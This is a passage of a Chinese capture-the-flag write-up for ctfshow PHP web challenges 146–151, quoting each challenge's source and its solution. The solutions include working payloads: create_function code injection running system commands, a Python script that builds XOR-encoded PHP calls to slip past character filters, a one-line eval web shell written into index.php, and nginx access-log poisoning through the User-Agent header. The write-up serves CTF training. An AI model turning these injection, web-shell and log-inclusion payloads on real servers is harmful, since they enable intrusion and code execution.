      v1=1&v2=2&v3=| (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
  • web146. 145的plus版本

    • 题面如下,并不影响继续打

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-18 17:41:33

      */


      highlight_file(__FILE__);
      if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
      $v1 = (String)$_GET['v1'];
      $v2 = (String)$_GET['v2'];
      $v3 = (String)$_GET['v3'];
      if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
      die('get out hacker!');
      }
      else{
      $code = eval("return $v1$v3$v2;");
      echo "$v1$v3$v2 = ".$code;
      }
      }
      }
  • web147. RCE create_function()代码注入 PHP默认命名空间

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-19 02:04:38

      */



      highlight_file(__FILE__);

      if(isset($_POST['ctf'])){
      $ctfshow = $_POST['ctf'];
      if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
      $ctfshow('',$_GET['show']);
      }

      }

      ctf传参要求不能是字母数字下划线开头的值

      这里有一个关于PHP默认命名空间的知识

      1
      2
      3
      4
      php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 
      普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
      而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。
      如果你在其他namespace里调用系统类,必须使用绝对路径的写法

      接下来就是关注这个create_function()代码注入

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      create_function(string $args, string $code): string
      Creates an anonymous function from the parameters passed, and returns a unique name for it

      Warning!!!
      This function internally performs an eval() and as such has the same security issues as eval().
      Additionally it has bad performance and memory usage characteristics.
      If you are using PHP 5.3.0 or newer a native anonymous function should be used instead.

      Usually these parameters will be passed as single quote delimited strings.
      The reason for using single quoted strings, is to protect the variable names from parsing,
      otherwise, if you use double quotes there will be a need to escape the variable names,
      e.g. \$avar.

      其实该函数是会自动生成一个匿名函数

      1
      2
      3
      4
      5
      6
      例如
      create_function('$dotast','echo $dotast."very cool"')
      //等于
      function f($dotast){
      echo $dotast."very cool";
      }

      我们可以测试一下,如果提前闭合掉函数语句的界定符}

      正常情况下

      image.png

      语句中若提前闭合

      image.png{:height 191, :width 536}

      可以看到确实这个匿名函数是会展开成一个函数体的形式。那么有什么用呢?可以看到题目只给了我们可以声明的地方,但是正常情况下并没有地方调用这个匿名函数。因此我们通过提前闭合函数体的方式来进行RCE

      1
      2
      3
      4
      GET:
      ?show=echo 123;}system('tac flag.php');//
      POST:
      ctf=\create_function
  • web148. 什么是变量

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-19 03:52:11

      */



      include 'flag.php';
      if(isset($_GET['code'])){
      $code=$_GET['code'];
      if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
      die("error");
      }
      @eval($code);
      }
      else{
      highlight_file(__FILE__);
      }

      function get_ctfshow_fl0g(){
      echo file_get_contents("flag.php");
      }

      code传参点ban了很多字符,可以看到^还在

      依照前面的思路,我们还是可以通过异或构造执行语句

      这题直接构造get_ctfshow_fl0g即可

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      # coding=gbk

      import re


      # 生成可用的字符
      def write_rce():
      result = ''
      for i in range(256):
      for j in range(256):
      if not (re.match('[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+', chr(i), re.I) or re.match(r'[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+', chr(j), re.I)):
      k = i ^ j
      if k >= 32 and k <= 126:
      # url编码
      a = '%' + hex(i)[2:].zfill(2)
      b = '%' + hex(j)[2:].zfill(2)
      result += (chr(k) + ' ' + a + ' ' + b + '\n')
      with open('result.txt', 'w') as f:
      f.write(result)

      # 根据想要的命令在生成的txt中进行匹配
      def action(arg):
      s1 = ""
      s2 = ""
      for i in arg:
      f = open('result.txt', 'r')
      while True:
      t = f.readline()
      if t == "":
      break
      if t[0] == i:
      s1 += t[2:5]
      s2 += t[6:9]
      break
      f.close()
      output = "(\"" + s1 + "\"^\"" + s2 + "\")"
      return output

      if __name__ == "__main__":
      write_rce()
      s1 = input("your function: ")

      print(s1)

      r = action(s1)
      print(r)
  • web149. 你写的快还是我删的快

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-19 04:34:40

      */


      error_reporting(0);
      highlight_file(__FILE__);

      $files = scandir('./');
      foreach($files as $file) {
      if(is_file($file)){
      if ($file !== "index.php") {
      unlink($file);
      }
      }
      }

      file_put_contents($_GET['ctf'], $_POST['show']);

      $files = scandir('./');
      foreach($files as $file) {
      if(is_file($file)){
      if ($file !== "index.php") {
      unlink($file);
      }
      }
      }

      在当前目录下,如果存在名字非index.php的文件就直接删掉。另外提供了file_put_contents($_GET['ctf'], $_POST['show']);写文件

      那我直接写到index.php里不就完了…

      完蛋了,还是要注意直接一句话就完了,写入是覆盖写而不是追加写

      如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND flag。

      1
      2
      3
      4
      ctf=index.php

      POST:
      show=<?php @eval($_POST[1]); ?>
  • web150. 对我们以前的内容进行了小结,我们文件上传系列再见

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-19 07:12:57

      */
      include("flag.php");
      error_reporting(0);
      highlight_file(__FILE__);

      class CTFSHOW{
      private $username;
      private $password;
      private $vip;
      private $secret;

      function __construct(){
      $this->vip = 0;
      $this->secret = $flag;
      }

      function __destruct(){
      echo $this->secret;
      }

      public function isVIP(){
      return $this->vip?TRUE:FALSE;
      }
      }

      function __autoload($class){
      if(isset($class)){
      $class();
      }
      }

      #过滤字符
      $key = $_SERVER['QUERY_STRING'];
      if(preg_match('/\_| |\[|\]|\?/', $key)){
      die("error");
      }
      $ctf = $_POST['ctf'];
      extract($_GET);
      if(class_exists($__CTFSHOW__)){
      echo "class is exists!";
      }

      if($isVIP && strrpos($ctf, ":")===FALSE){
      include($ctf);
      }

      __autoload

      1
      2
      3
      4
      5
      6
      __autoload(string $class): void
      在编写面向对象(OOP) 程序时,很多开发者为每个类新建一个 PHP 文件。
      这会带来一个烦恼:每个脚本的开头,都需要包含(include)一个长长的列表(每个类都有个文件)。
      spl_autoload_register() 函数可以注册任意数量的自动加载器,
      当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,
      脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类

      class_exists

      1
      2
      class_exists(string $class, bool $autoload = true): bool
      该函数检查指定的类是否已经定义

      特性1:被get或者post传入的变量名,如果含有 空格、+、[ . 则会被转化为 _

      特性2:就是如果传入 [ ,它被转化为 _ 之后,后面的字符就会被保留下来不会被替换

      __autoload中存在$class(),参数可控,可以通过extract传入,而autoload通过`$CTFSHOW__`触发

      我们在最后的include中由于strpos只能返回false所以不能包含:

      __CTFSHOW__和isVIP可以传参进行变量覆盖

      嗯嗯没错思路就是这样

      这个是其中一个执行点

      1
      2
      GET
      ..CTFSHOW..=phpinfo

      第二个执行点在include中

      可以通过日志包含的方式,服务器中间件为nginx,所有日志文件位置在/var/log/nginx/access.log

      1
      2
      3
      4
      5
      GET
      isVIP=1
      POST
      ctf=/var/log/nginx/access.log
      User-Agent: <?php system('cat flag.php'); ?>

      可以看到日志文件确实可以包含进来

      image.png

  • web151. 修复了非预期

    • 基本没变化

      除了最后修改了一下

      1
      2
      3
      if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
      include($ctf);
      }

      也就是不让日志包含了,据说还可以session文件包含,但是上一关另一个sink点上phpinfo里已经给出了flag